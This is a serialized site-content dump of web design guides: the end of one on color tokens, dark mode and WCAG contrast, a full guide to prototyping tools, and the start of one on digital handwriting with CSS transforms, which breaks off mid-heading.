},\n}\n",[143,92723,92724,92728,92740,92744,92748,92752,92762,92772,92782,92786,92790,92794],{"__ignoreMap":141},[1560,92725,92726],{"class":1562,"line":1563},[1560,92727,92454],{"class":1649},[1560,92729,92730,92732,92734,92736,92738],{"class":1562,"line":337},[1560,92731,11885],{"class":1576},[1560,92733,468],{"class":1570},[1560,92735,11890],{"class":1576},[1560,92737,8186],{"class":1669},[1560,92739,1571],{"class":1570},[1560,92741,92742],{"class":1562,"line":343},[1560,92743,17530],{"class":1570},[1560,92745,92746],{"class":1562,"line":365},[1560,92747,92475],{"class":1570},[1560,92749,92750],{"class":1562,"line":889},[1560,92751,92480],{"class":1570},[1560,92753,92754,92757,92760],{"class":1562,"line":1710},[1560,92755,92756],{"class":1570},"        primary: ",[1560,92758,92759],{"class":5634},"'rgb(var(--color-primary) \u002F \u003Calpha-value>)'",[1560,92761,11943],{"class":1570},[1560,92763,92764,92767,92770],{"class":1562,"line":1717},[1560,92765,92766],{"class":1570},"        surface: ",[1560,92768,92769],{"class":5634},"'rgb(var(--color-surface) \u002F \u003Calpha-value>)'",[1560,92771,11943],{"class":1570},[1560,92773,92774,92777,92780],{"class":1562,"line":1747},[1560,92775,92776],{"class":1570},"        text: ",[1560,92778,92779],{"class":5634},"'rgb(var(--color-text) \u002F \u003Calpha-value>)'",[1560,92781,11943],{"class":1570},[1560,92783,92784],{"class":1562,"line":2507},[1560,92785,11976],{"class":1570},[1560,92787,92788],{"class":1562,"line":2524},[1560,92789,17600],{"class":1570},[1560,92791,92792],{"class":1562,"line":2529},[1560,92793,11862],{"class":1570},[1560,92795,92796],{"class":1562,"line":2534},[1560,92797,1585],{"class":1570},[135,92799,92801],{"className":1554,"code":92800,"language":1556,"meta":141,"style":141},":root {\n  --color-primary: 59, 130, 246;\n  --color-surface: 255, 255, 255;\n  --color-text: 15, 23, 42;\n}\n",[143,92802,92803,92809,92827,92845,92863],{"__ignoreMap":141},[1560,92804,92805,92807],{"class":1562,"line":1563},[1560,92806,2207],{"class":1566},[1560,92808,1571],{"class":1570},[1560,92810,92811,92813,92815,92817,92819,92821,92823,92825],{"class":1562,"line":337},[1560,92812,5815],{"class":2219},[1560,92814,1663],{"class":1570},[1560,92816,19995],{"class":1576},[1560,92818,1459],{"class":1570},[1560,92820,20000],{"class":1576},[1560,92822,1459],{"class":1570},[1560,92824,20005],{"class":1576},[1560,92826,2228],{"class":1570},[1560,92828,92829,92831,92833,92835,92837,92839,92841,92843],{"class":1562,"line":343},[1560,92830,2238],{"class":2219},[1560,92832,1663],{"class":1570},[1560,92834,5400],{"class":1576},[1560,92836,1459],{"class":1570},[1560,92838,5400],{"class":1576},[1560,92840,1459],{"class":1570},[1560,92842,5400],{"class":1576},[1560,92844,2228],{"class":1570},[1560,92846,92847,92849,92851,92853,92855,92857,92859,92861],{"class":1562,"line":365},[1560,92848,54609],{"class":2219},[1560,92850,1663],{"class":1570},[1560,92852,14854],{"class":1576},[1560,92854,1459],{"class":1570},[1560,92856,56390],{"class":1576},[1560,92858,1459],{"class":1570},[1560,92860,14520],{"class":1576},[1560,92862,2228],{"class":1570},[1560,92864,92865],{"class":1562,"line":889},[1560,92866,1585],{"class":1570},[16,92868,421,92869,92872,92873,468],{},[143,92870,92871],{},"\u003Calpha-value>"," placeholder enables Tailwind's opacity modifiers like ",[143,92874,92875],{},"bg-primary\u002F50",[11,92877,17248],{"id":17247},[16,92879,92880],{},"Dark mode is not just inverted colors. It requires deliberate adjustments to saturation, lightness, and contrast.",[33,92882,92884],{"id":92883},"define-dark-overrides","Define Dark Overrides",[135,92886,92888],{"className":1554,"code":92887,"language":1556,"meta":141,"style":141},":root {\n  --color-surface: #FFFFFF;\n  --color-surface-alt: #F1F5F9;\n  --color-text: #0F172A;\n  --color-text-muted: #64748B;\n  --color-border: #E2E8F0;\n  --color-primary: #3B82F6;\n}\n\n.dark {\n  --color-surface: #0F172A;\n  --color-surface-alt: #1E293B;\n  --color-text: #F1F5F9;\n  --color-text-muted: #94A3B8;\n  --color-border: #334155;\n  --color-primary: #60A5FA;\n}\n",[143,92889,92890,92896,92906,92916,92926,92936,92946,92956,92960,92964,92970,92980,92990,93000,93010,93020,93030],{"__ignoreMap":141},[1560,92891,92892,92894],{"class":1562,"line":1563},[1560,92893,2207],{"class":1566},[1560,92895,1571],{"class":1570},[1560,92897,92898,92900,92902,92904],{"class":1562,"line":337},[1560,92899,2238],{"class":2219},[1560,92901,1663],{"class":1570},[1560,92903,3390],{"class":1576},[1560,92905,2228],{"class":1570},[1560,92907,92908,92910,92912,92914],{"class":1562,"line":343},[1560,92909,92133],{"class":2219},[1560,92911,1663],{"class":1570},[1560,92913,3406],{"class":1576},[1560,92915,2228],{"class":1570},[1560,92917,92918,92920,92922,92924],{"class":1562,"line":365},[1560,92919,54609],{"class":2219},[1560,92921,1663],{"class":1570},[1560,92923,2299],{"class":1576},[1560,92925,2228],{"class":1570},[1560,92927,92928,92930,92932,92934],{"class":1562,"line":889},[1560,92929,40245],{"class":2219},[1560,92931,1663],{"class":1570},[1560,92933,30767],{"class":1576},[1560,92935,2228],{"class":1570},[1560,92937,92938,92940,92942,92944],{"class":1562,"line":1710},[1560,92939,92182],{"class":2219},[1560,92941,1663],{"class":1570},[1560,92943,55825],{"class":1576},[1560,92945,2228],{"class":1570},[1560,92947,92948,92950,92952,92954],{"class":1562,"line":1717},[1560,92949,5815],{"class":2219},[1560,92951,1663],{"class":1570},[1560,92953,2260],{"class":1576},[1560,92955,2228],{"class":1570},[1560,92957,92958],{"class":1562,"line":1747},[1560,92959,1585],{"class":1570},[1560,92961,92962],{"class":1562,"line":2507},[1560,92963,1702],{"emptyLinePlaceholder":363},[1560,92965,92966,92968],{"class":1562,"line":2524},[1560,92967,4355],{"class":1566},[1560,92969,1571],{"class":1570},[1560,92971,92972,92974,92976,92978],{"class":1562,"line":2529},[1560,92973,2238],{"class":2219},[1560,92975,1663],{"class":1570},[1560,92977,2299],{"class":1576},[1560,92979,2228],{"class":1570},[1560,92981,92982,92984,92986,92988],{"class":1562,"line":2534},[1560,92983,92133],{"class":2219},[1560,92985,1663],{"class":1570},[1560,92987,2315],{"class":1576},[1560,92989,2228],{"class":1570},[1560,92991,92992,92994,92996,92998],{"class":1562,"line":2542},[1560,92993,54609],{"class":2219},[1560,92995,1663],{"class":1570},[1560,92997,3406],{"class":1576},[1560,92999,2228],{"class":1570},[1560,93001,93002,93004,93006,93008],{"class":1562,"line":2558},[1560,93003,40245],{"class":2219},[1560,93005,1663],{"class":1570},[1560,93007,3661],{"class":1576},[1560,93009,2228],{"class":1570},[1560,93011,93012,93014,93016,93018],{"class":1562,"line":2570},[1560,93013,92182],{"class":2219},[1560,93015,1663],{"class":1570},[1560,93017,2243],{"class":1576},[1560,93019,2228],{"class":1570},[1560,93021,93022,93024,93026,93028],{"class":1562,"line":6638},[1560,93023,5815],{"class":2219},[1560,93025,1663],{"class":1570},[1560,93027,2331],{"class":1576},[1560,93029,2228],{"class":1570},[1560,93031,93032],{"class":1562,"line":11615},[1560,93033,1585],{"class":1570},[33,93035,93037],{"id":93036},"key-dark-mode-principles","Key Dark Mode Principles",[77,93039,93040,93046,93052,93064,93077],{},[44,93041,93042,93045],{},[47,93043,93044],{},"Avoid pure black (#000000)",": Dark gray (#0F172A or #121212) reduces eye strain and produces better perceived contrast.",[44,93047,93048,93051],{},[47,93049,93050],{},"Desaturate accents",": Colors appear more vibrant on dark backgrounds. Reduce saturation by 10–20% in dark mode.",[44,93053,93054,93057,93058,5255,93060,93063],{},[47,93055,93056],{},"Lighten primary colors",": Your brand blue may need to shift from ",[143,93059,55023],{},[143,93061,93062],{},"hsl(217, 91%, 70%)"," to maintain visual weight against dark surfaces.",[44,93065,93066,93069,93070,93073,93074,93076],{},[47,93067,93068],{},"Elevate surfaces with lighter shades",": In dark mode, higher elevation = lighter surface. Use ",[143,93071,93072],{},"--color-surface-alt"," above ",[143,93075,92349],{}," for stacked elements like modals.",[44,93078,93079,93082],{},[47,93080,93081],{},"Test all interactive states",": Hover, focus, and active states often need distinct dark mode values—do not assume light-mode values will work.",[11,93084,3279],{"id":3278},[16,93086,93087],{},"Accessibility is not optional. WCAG 2.1 defines minimum contrast ratios you must meet.",[33,93089,93091],{"id":93090},"minimum-ratios","Minimum Ratios",[193,93093,93094,93106],{},[196,93095,93096],{},[199,93097,93098,93100,93102,93104],{},[202,93099,3291],{},[202,93101,3934],{},[202,93103,3937],{},[202,93105,3300],{},[211,93107,93108,93118],{},[199,93109,93110,93112,93114,93116],{},[216,93111,3307],{},[216,93113,3310],{},[216,93115,3313],{},[216,93117,3313],{},[199,93119,93120,93122,93124,93126],{},[216,93121,3320],{},[216,93123,3323],{},[216,93125,3310],{},[216,93127,3060],{},[33,93129,93131],{"id":93130},"practical-checking","Practical Checking",[16,93133,93134],{},"Validate every text-and-background pair in both light and dark modes. Common failures include:",[41,93136,93137,93147,93161],{},[44,93138,93139,1663,93142,44235,93144,93146],{},[47,93140,93141],{},"Muted text on light backgrounds",[143,93143,3661],{},[143,93145,3390],{}," yields 2.9:1 — fails AA for normal text.",[44,93148,93149,1663,93152,44235,93154,93156,93157,93160],{},[47,93150,93151],{},"Primary-colored text on white",[143,93153,2260],{},[143,93155,3390],{}," yields 3.6:1 — fails AA for normal text. Use the darker ",[143,93158,93159],{},"2563EB"," (5.7:1) instead.",[44,93162,93163,93166],{},[47,93164,93165],{},"White text on dark surfaces",": Usually passes, but verify—thin fonts at small sizes require higher ratios.",[33,93168,93170],{"id":93169},"automate-contrast-checks","Automate Contrast Checks",[16,93172,93173,93174,1531,93177,93180],{},"Add a build step or linter rule that flags contrast failures. Tools like ",[143,93175,93176],{},"stylelint-a11y",[143,93178,93179],{},"eslint-plugin-jsx-a11y"," catch issues before they reach production.",[11,93182,1355],{"id":1354},[41,93184,93185,93188,93198,93201,93204,93207,93210],{},[44,93186,93187],{},"A design color system assigns semantic meaning to every color token so each shade maps to a purpose",[44,93189,93190,93191,1459,93193,1459,93195,93197],{},"Semantic naming (",[143,93192,91839],{},[143,93194,91846],{},[143,93196,91913],{},") decouples styles from specific color values",[44,93199,93200],{},"CSS custom properties let you redefine tokens once for dark mode instead of updating every component",[44,93202,93203],{},"Tailwind theme extension integrates your token system directly into utility classes",[44,93205,93206],{},"Dark mode requires deliberate lightness and saturation adjustments—not simple inversion",[44,93208,93209],{},"WCAG AA requires 4.5:1 contrast for normal text; validate every text-background pair in both modes",[44,93211,93212],{},"Automate contrast checking in your build pipeline to catch failures early",[11,93214,286],{"id":285},[16,93216,29979,93217,93219,93220,468],{},[98,93218,2423],{"href":2422}," to build a semantic palette and export it as CSS variables. Need to convert your hex tokens to RGB for Tailwind's alpha-value support? Try the ",[98,93221,29494],{"href":5989},[2043,93223,93224],{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}",{"title":141,"searchDepth":337,"depth":337,"links":93226},[93227,93228,93232,93237,93242,93246,93251,93252],{"id":91818,"depth":337,"text":91819},{"id":16920,"depth":337,"text":16921,"children":93229},[93230,93231],{"id":91849,"depth":343,"text":91850},{"id":92034,"depth":343,"text":92035},{"id":92051,"depth":337,"text":92052,"children":93233},[93234,93235,93236],{"id":92061,"depth":343,"text":92062},{"id":92245,"depth":343,"text":92246},{"id":92396,"depth":343,"text":92397},{"id":92436,"depth":337,"text":92437,"children":93238},[93239,93240,93241],{"id":92443,"depth":343,"text":92444},{"id":92606,"depth":343,"text":92607},{"id":92714,"depth":343,"text":92715},{"id":17247,"depth":337,"text":17248,"children":93243},[93244,93245],{"id":92883,"depth":343,"text":92884},{"id":93036,"depth":343,"text":93037},{"id":3278,"depth":337,"text":3279,"children":93247},[93248,93249,93250],{"id":93090,"depth":343,"text":93091},{"id":93130,"depth":343,"text":93131},{"id":93169,"depth":343,"text":93170},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Build systematic color palettes for UI design with CSS variables and Tailwind configuration.",{"immutable":363},"\u002Fguides\u002Fdesign-color-systems",{"title":91813,"description":93253},"guides\u002Fdesign-color-systems","BmEYyyPx1MdxCZb8zSccVGg_nubncMZ4zL9bgLpO68c",{"id":93260,"title":93261,"body":93262,"date":2070,"description":93774,"extension":361,"meta":93775,"navigation":363,"path":93779,"readingTime":1747,"seo":93780,"stem":93781,"__hash__":93782},"guides\u002Fguides\u002Fdesign-prototyping-tools.md","Design Prototyping Tools: Essential Utilities for Rapid Prototyping",{"type":8,"value":93263,"toc":93751},[93264,93268,93271,93274,93278,93346,93349,93353,93357,93360,93374,93378,93381,93395,93399,93402,93416,93420,93423,93437,93441,93444,93458,93460,93535,93538,93541,93545,93548,93551,93554,93557,93564,93568,93571,93574,93581,93585,93588,93591,93597,93601,93604,93607,93613,93617,93623,93626,93632,93636,93639,93677,93680,93682,93699,93701,93704,93731,93733],[11,93265,93267],{"id":93266},"the-prototyping-toolbox","The Prototyping Toolbox",[16,93269,93270],{},"Modern web prototyping requires more than a design application. Between color selection, placeholder generation, CSS visualization, and typography choices, designers juggle a dozen small decisions before committing to a single pixel. Having the right utilities at hand accelerates every one of those decisions.",[16,93272,93273],{},"This guide maps the essential tool categories, explains how they fit into a prototyping workflow, and highlights free online tools you can start using immediately.",[11,93275,93277],{"id":93276},"tool-categories","Tool Categories",[193,93279,93280,93291],{},[196,93281,93282],{},[199,93283,93284,93286,93288],{},[202,93285,919],{},[202,93287,2758],{},[202,93289,93290],{},"Key Outputs",[211,93292,93293,93303,93314,93325,93336],{},[199,93294,93295,93297,93300],{},[216,93296,4231],{},[216,93298,93299],{},"Pick, convert, and build palettes",[216,93301,93302],{},"HEX, RGB, HSL values, palette sets",[199,93304,93305,93308,93311],{},[216,93306,93307],{},"Imagery",[216,93309,93310],{},"Generate placeholder images and photos",[216,93312,93313],{},"Sized PNG\u002FJPG\u002FSVG files",[199,93315,93316,93319,93322],{},[216,93317,93318],{},"Typography",[216,93320,93321],{},"Preview fonts, sizing, and hierarchy",[216,93323,93324],{},"CSS font stacks, scale ratios",[199,93326,93327,93330,93333],{},[216,93328,93329],{},"CSS Visual",[216,93331,93332],{},"Design gradients, shadows, borders",[216,93334,93335],{},"CSS property values",[199,93337,93338,93340,93343],{},[216,93339,87859],{},[216,93341,93342],{},"Format, minify, and encode data",[216,93344,93345],{},"JSON, Base64, HTML entities",[16,93347,93348],{},"Each category solves a specific friction point. Together, they form a workflow that takes you from blank canvas to polished mockup without switching between heavyweight applications.",[11,93350,93352],{"id":93351},"how-tools-fit-your-workflow","How Tools Fit Your Workflow",[33,93354,93356],{"id":93355},"step-1-palette-and-color","Step 1: Palette and Color",[16,93358,93359],{},"Start by defining your color system. A well-chosen palette drives every other visual decision.",[77,93361,93362,93365,93368,93371],{},[44,93363,93364],{},"Generate a base palette from a brand color",[44,93366,93367],{},"Convert between HEX, RGB, and HSL as needed",[44,93369,93370],{},"Check contrast ratios against WCAG standards",[44,93372,93373],{},"Export CSS custom properties for your design system",[33,93375,93377],{"id":93376},"step-2-imagery-and-placeholders","Step 2: Imagery and Placeholders",[16,93379,93380],{},"With colors locked, fill layout slots with correctly sized placeholders.",[77,93382,93383,93386,93389,93392],{},[44,93384,93385],{},"Determine the aspect ratio each component needs",[44,93387,93388],{},"Generate placeholder images at exact dimensions",[44,93390,93391],{},"Apply color-coded backgrounds to match section types",[44,93393,93394],{},"Label placeholders with dimensions and source information",[33,93396,93398],{"id":93397},"step-3-typography","Step 3: Typography",[16,93400,93401],{},"Set type scales and choose font sizes that work across breakpoints.",[77,93403,93404,93407,93410,93413],{},[44,93405,93406],{},"Define a modular scale (e.g., 1.25 ratio)",[44,93408,93409],{},"Preview heading and body combinations",[44,93411,93412],{},"Test line-height and letter-spacing values",[44,93414,93415],{},"Export CSS typography tokens",[33,93417,93419],{"id":93418},"step-4-css-visual-properties","Step 4: CSS Visual Properties",[16,93421,93422],{},"Refine the details — gradients, shadow depths, border radii — that transform a flat layout into a polished design.",[77,93424,93425,93428,93431,93434],{},[44,93426,93427],{},"Build gradients with visual editors",[44,93429,93430],{},"Tune box-shadow values for depth and consistency",[44,93432,93433],{},"Set border-radius tokens for cards and buttons",[44,93435,93436],{},"Copy generated CSS directly into your project",[33,93438,93440],{"id":93439},"step-5-code-utilities","Step 5: Code Utilities",[16,93442,93443],{},"Prepare assets and data for the development handoff.",[77,93445,93446,93449,93452,93455],{},[44,93447,93448],{},"Encode images to Base64 for demo HTML files",[44,93450,93451],{},"Format JSON mock data for API simulations",[44,93453,93454],{},"Minify CSS and JS for prototype performance",[44,93456,93457],{},"Generate HTML entities for special characters",[11,93459,85919],{"id":85918},[193,93461,93462,93473],{},[196,93463,93464],{},[199,93465,93466,93468,93470],{},[202,93467,1234],{},[202,93469,85930],{},[202,93471,93472],{},"Desktop Apps",[211,93474,93475,93484,93494,93504,93514,93524],{},[199,93476,93477,93479,93481],{},[216,93478,85940],{},[216,93480,85943],{},[216,93482,93483],{},"Download, install, update",[199,93485,93486,93488,93491],{},[216,93487,16397],{},[216,93489,93490],{},"Often free",[216,93492,93493],{},"Usually paid or freemium",[199,93495,93496,93498,93501],{},[216,93497,819],{},[216,93499,93500],{},"Instant for single tasks",[216,93502,93503],{},"Faster for complex multi-step work",[199,93505,93506,93508,93511],{},[216,93507,53732],{},[216,93509,93510],{},"Copy-paste output",[216,93512,93513],{},"Direct plugin or API access",[199,93515,93516,93519,93521],{},[216,93517,93518],{},"Offline",[216,93520,85995],{},[216,93522,93523],{},"Works without connection",[199,93525,93526,93529,93532],{},[216,93527,93528],{},"Collaboration",[216,93530,93531],{},"Share URL instantly",[216,93533,93534],{},"Export and send files",[16,93536,93537],{},"Online tools win for speed and convenience. You open a tab, set parameters, and copy the result. Desktop tools win for complex, multi-step projects where tight integration between tools matters.",[16,93539,93540],{},"For most prototyping work, a combination works best: a desktop design app (Figma, Sketch) for layout composition, and online utilities for the specialized tasks listed above.",[11,93542,93544],{"id":93543},"free-toolboxes-tools-for-prototyping","Free ToolBoxes Tools for Prototyping",[16,93546,93547],{},"These free browser-based tools cover the core prototyping needs without requiring sign-up or installation.",[33,93549,2423],{"id":93550},"color-palette-generator",[16,93552,93553],{},"Build cohesive color palettes from a single seed color. The tool generates complementary, analogous, triadic, and monochromatic schemes you can export as CSS variables.",[16,93555,93556],{},"Use it when: Starting a new project, exploring brand color options, or building a design system foundation.",[16,93558,93559,6841,93562],{},[47,93560,93561],{},"Tool:",[98,93563,2423],{"href":2422},[33,93565,93567],{"id":93566},"placeholder-image-generator","Placeholder Image Generator",[16,93569,93570],{},"Create placeholder images with custom dimensions, background colors, and text labels. Output as PNG — no external API dependencies.",[16,93572,93573],{},"Use it when: Filling image slots in wireframes, prototypes, or staging environments.",[16,93575,93576,6841,93578],{},[47,93577,93561],{},[98,93579,93567],{"href":93580},"\u002Ftools\u002Fplaceholder-image",[33,93582,93584],{"id":93583},"css-gradient-editor","CSS Gradient Editor",[16,93586,93587],{},"Design linear and radial gradients with a visual editor. Adjust color stops, angles, and positions in real time. Copy the generated CSS directly.",[16,93589,93590],{},"Use it when: Creating hero backgrounds, button overlays, or decorative UI elements.",[16,93592,93593,6841,93595],{},[47,93594,93561],{},[98,93596,93584],{"href":18582},[33,93598,93600],{"id":93599},"css-box-shadow-editor","CSS Box Shadow Editor",[16,93602,93603],{},"Craft single or layered box shadows with intuitive sliders for offset, blur, spread, and color. Preview the result on a sample box before copying the CSS.",[16,93605,93606],{},"Use it when: Adding depth to cards, modals, and floating UI elements.",[16,93608,93609,6841,93611],{},[47,93610,93561],{},[98,93612,93600],{"href":20278},[33,93614,93616],{"id":93615},"border-radius-editor","Border Radius Editor",[16,93618,93619,93620,93622],{},"Set uniform or per-corner border radii with visual feedback. Supports the full ",[143,93621,16947],{}," shorthand syntax.",[16,93624,93625],{},"Use it when: Defining card, button, and avatar shape tokens for your design system.",[16,93627,93628,6841,93630],{},[47,93629,93561],{},[98,93631,93616],{"href":17643},[11,93633,93635],{"id":93634},"putting-it-all-together-a-sample-workflow","Putting It All Together: A Sample Workflow",[16,93637,93638],{},"Imagine you are prototyping a SaaS landing page. Here is how the tools chain together:",[77,93640,93641,93647,93653,93659,93665,93671],{},[44,93642,93643,93646],{},[47,93644,93645],{},"Color Palette",": Generate a 5-color palette from your brand blue. Export as CSS variables.",[44,93648,93649,93652],{},[47,93650,93651],{},"Placeholder Image",": Create a 1600x900 hero placeholder and four 400x300 feature card placeholders, each colored by section.",[44,93654,93655,93658],{},[47,93656,93657],{},"CSS Gradient",": Build a subtle linear gradient overlay for the hero section using two palette colors.",[44,93660,93661,93664],{},[47,93662,93663],{},"CSS Box Shadow",": Design a medium-weight shadow for the pricing card that appears on hover.",[44,93666,93667,93670],{},[47,93668,93669],{},"Border Radius",": Set an 8px radius for cards and a 24px radius for the CTA button.",[44,93672,93673,93676],{},[47,93674,93675],{},"Base64 Encoding",": Encode the logo SVG as a Data URI for a self-contained demo HTML file.",[16,93678,93679],{},"Each step produces a concrete CSS value or image asset. The result is a consistent, developer-ready prototype built entirely with free online tools.",[11,93681,1355],{"id":1354},[41,93683,93684,93687,93690,93693,93696],{},[44,93685,93686],{},"Prototyping tools fall into five categories: color, imagery, typography, CSS visual, and code utilities",[44,93688,93689],{},"Online tools offer zero-setup convenience; desktop tools provide deeper integration",[44,93691,93692],{},"Use online utilities for focused tasks and a design app for overall layout composition",[44,93694,93695],{},"Free ToolBoxes tools cover color palettes, placeholder images, gradients, shadows, and border radii",[44,93697,93698],{},"Chain tools together in a logical order: colors first, then images, then CSS visual properties",[11,93700,286],{"id":285},[16,93702,93703],{},"Start building your prototype with these free tools:",[41,93705,93706,93711,93716,93721,93726],{},[44,93707,93708,93710],{},[98,93709,2423],{"href":2422}," — Build palettes from any seed color",[44,93712,93713,93715],{},[98,93714,93567],{"href":93580}," — Create labeled, color-coded placeholder images",[44,93717,93718,93720],{},[98,93719,93584],{"href":18582}," — Design gradients with real-time preview",[44,93722,93723,93725],{},[98,93724,93600],{"href":20278}," — Craft layered box shadows visually",[44,93727,93728,93730],{},[98,93729,93616],{"href":17643}," — Set per-corner border radii",[11,93732,321],{"id":320},[41,93734,93735,93741,93747],{},[44,93736,93737],{},[98,93738,93740],{"href":93739},"\u002Fguides\u002Fplaceholder-image-guide","Placeholder Image Guide: When and How to Use Dummy Images",[44,93742,93743],{},[98,93744,93746],{"href":93745},"\u002Fguides\u002Fmockup-image-best-practices","Mockup Image Best Practices: Professional Prototyping Techniques",[44,93748,93749],{},[98,93750,12173],{"href":12172},{"title":141,"searchDepth":337,"depth":337,"links":93752},[93753,93754,93755,93762,93763,93770,93771,93772,93773],{"id":93266,"depth":337,"text":93267},{"id":93276,"depth":337,"text":93277},{"id":93351,"depth":337,"text":93352,"children":93756},[93757,93758,93759,93760,93761],{"id":93355,"depth":343,"text":93356},{"id":93376,"depth":343,"text":93377},{"id":93397,"depth":343,"text":93398},{"id":93418,"depth":343,"text":93419},{"id":93439,"depth":343,"text":93440},{"id":85918,"depth":337,"text":85919},{"id":93543,"depth":337,"text":93544,"children":93764},[93765,93766,93767,93768,93769],{"id":93550,"depth":343,"text":2423},{"id":93566,"depth":343,"text":93567},{"id":93583,"depth":343,"text":93584},{"id":93599,"depth":343,"text":93600},{"id":93615,"depth":343,"text":93616},{"id":93634,"depth":337,"text":93635},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Essential prototyping tools every designer needs. Color pickers, placeholder generators, gradient editors, and more.",{"immutable":363,"keywords":93776},[93777,93778],"placeholder-image","design-prototyping-tools","\u002Fguides\u002Fdesign-prototyping-tools",{"title":93261,"description":93774},"guides\u002Fdesign-prototyping-tools","br_8FsMN_iPMJWBgDyyHaSiUebTBpT1VB-1NrBnhu4A",{"id":93784,"title":40918,"body":93785,"date":2070,"description":94469,"extension":361,"meta":94470,"navigation":363,"path":40917,"readingTime":7146,"seo":94473,"stem":94474,"__hash__":94475},"guides\u002Fguides\u002Fdigital-handwriting-guide.md",{"type":8,"value":93786,"toc":94445},[93787,93790,93794,93841,93844,93848,93851,93871,93874,93877,93881,93884,93888,93891,93936,93948,93952,93955,93990,93999,94003,94006,94038,94048,94052,94055,94059,94062,94066,94123,94127,94130,94212,94219,94222,94313,94316,94320,94327,94331,94334,94338,94344,94347,94362,94368,94372,94375,94379,94382,94386,94400,94402,94419,94421,94424,94430,94432,94442],[16,93788,93789],{},"Converting typed text into handwriting involves more than picking a script font. Real handwriting has uneven baselines, slight rotations, and inconsistent spacing. This guide covers the three layers that make digital handwriting look convincing — font selection, CSS micro-transformations, and paper backgrounds — plus how to export your final result.",[11,93791,93793],{"id":93792},"the-three-layers-of-convincing-digital-handwriting","The Three Layers of Convincing Digital Handwriting",[193,93795,93796,93806],{},[196,93797,93798],{},[199,93799,93800,93802,93804],{},[202,93801,45022],{},[202,93803,922],{},[202,93805,16318],{},[211,93807,93808,93819,93830],{},[199,93809,93810,93813,93816],{},[216,93811,93812],{},"Font selection",[216,93814,93815],{},"Sets the base character style",[216,93817,93818],{},"Defines the personality and readability",[199,93820,93821,93824,93827],{},[216,93822,93823],{},"Micro-transformations",[216,93825,93826],{},"Adds rotation, offset, and spacing variation",[216,93828,93829],{},"Breaks the mechanical uniformity of digital type",[199,93831,93832,93835,93838],{},[216,93833,93834],{},"Paper background",[216,93836,93837],{},"Provides ruled lines, grid, or texture",[216,93839,93840],{},"Grounds the text in a physical context",[16,93842,93843],{},"Skip any one layer and the result looks artificial. Combine all three and the output fools the eye at a glance.",[11,93845,93847],{"id":93846},"layer-1-choosing-the-right-font","Layer 1: Choosing the Right Font",[16,93849,93850],{},"The font is your foundation. Pick one that matches the intent of your output.",[41,93852,93853,93859,93865],{},[44,93854,93855,93858],{},[47,93856,93857],{},"Casual notes"," — Caveat, Patrick Hand, or Indie Flower for a relaxed, everyday feel",[44,93860,93861,93864],{},[47,93862,93863],{},"Formal writing"," — Dancing Script or Sacramento for a polished cursive look",[44,93866,93867,93870],{},[47,93868,93869],{},"Classroom style"," — Kalam or Patrick Hand for their clean, pen-on-paper quality",[16,93872,93873],{},"Download or self-host the font if you need it for image export. Google Fonts provides free, commercially licensed options. For the most realistic result, choose a font with disconnected or loosely connected strokes — rigid cursive connections are an instant giveaway that the text is digital.",[16,93875,93876],{},"Font weight matters too. Bold weights look like thick marker strokes; light weights simulate fine-tip pens. Match the weight to the writing instrument you want to imply.",[11,93878,93880],{"id":93879},"layer-2-css-micro-transformations","Layer 2: CSS Micro-Transformations",[16,93882,93883],{},"This is where the magic happens. Real handwriting is never perfectly aligned. Each letter sits at a slightly different angle, and each line drifts a fraction off the baseline. CSS transforms can simulate this randomness.",[33,93885,93887],{"id":93886},"per-character-rotation","Per-Character Rotation",[16,93889,93890],{},"Apply small random rotations to individual characters:",[135,93892,93894],{"className":1554,"code":93893,"language":1556,"meta":141,"style":141},".handwritten-char {\n  display: inline-block;\n  transform: rotate(var(--char-rotate));\n}\n",[143,93895,93896,93903,93913,93932],{"__ignoreMap":141},[1560,93897,93898,93901],{"class":1562,"line":1563},[1560,93899,93900],{"class":1566},".handwritten-char",[1560,93902,1571],{"class":1570},[1560,93904,93905,93907,93909,93911],{"class":1562,"line":337},[1560,93906,12504],{"class":1576},[1560,93908,1663],{"class":1570},[1560,93910,12509],{"class":1576},[1560,93912,2228],{"class":1570},[1560,93914,93915,93917,93919,93921,93923,93925,93927,93930],{"class":1562,"line":343},[1560,93916,1720],{"class":1576},[1560,93918,1663],{"class":1570},[1560,93920,35461],{"class":1576},[1560,93922,1688],{"class":1570},[1560,93924,2497],{"class":1576},[1560,93926,1688],{"class":1570},[1560,93928,93929],{"class":2219},"--char-rotate",[1560,93931,41941],{"class":1570},[1560,93933,93934],{"class":1562,"line":365},[1560,93935,1585],{"class":1570},[16,93937,1943,93938,93940,93941,1856,93944,93947],{},[143,93939,93929],{}," to values between ",[143,93942,93943],{},"-3deg",[143,93945,93946],{},"3deg"," using JavaScript or a pre-generated inline style. Values outside this range look erratic rather than natural.",[33,93949,93951],{"id":93950},"per-line-vertical-offset","Per-Line Vertical 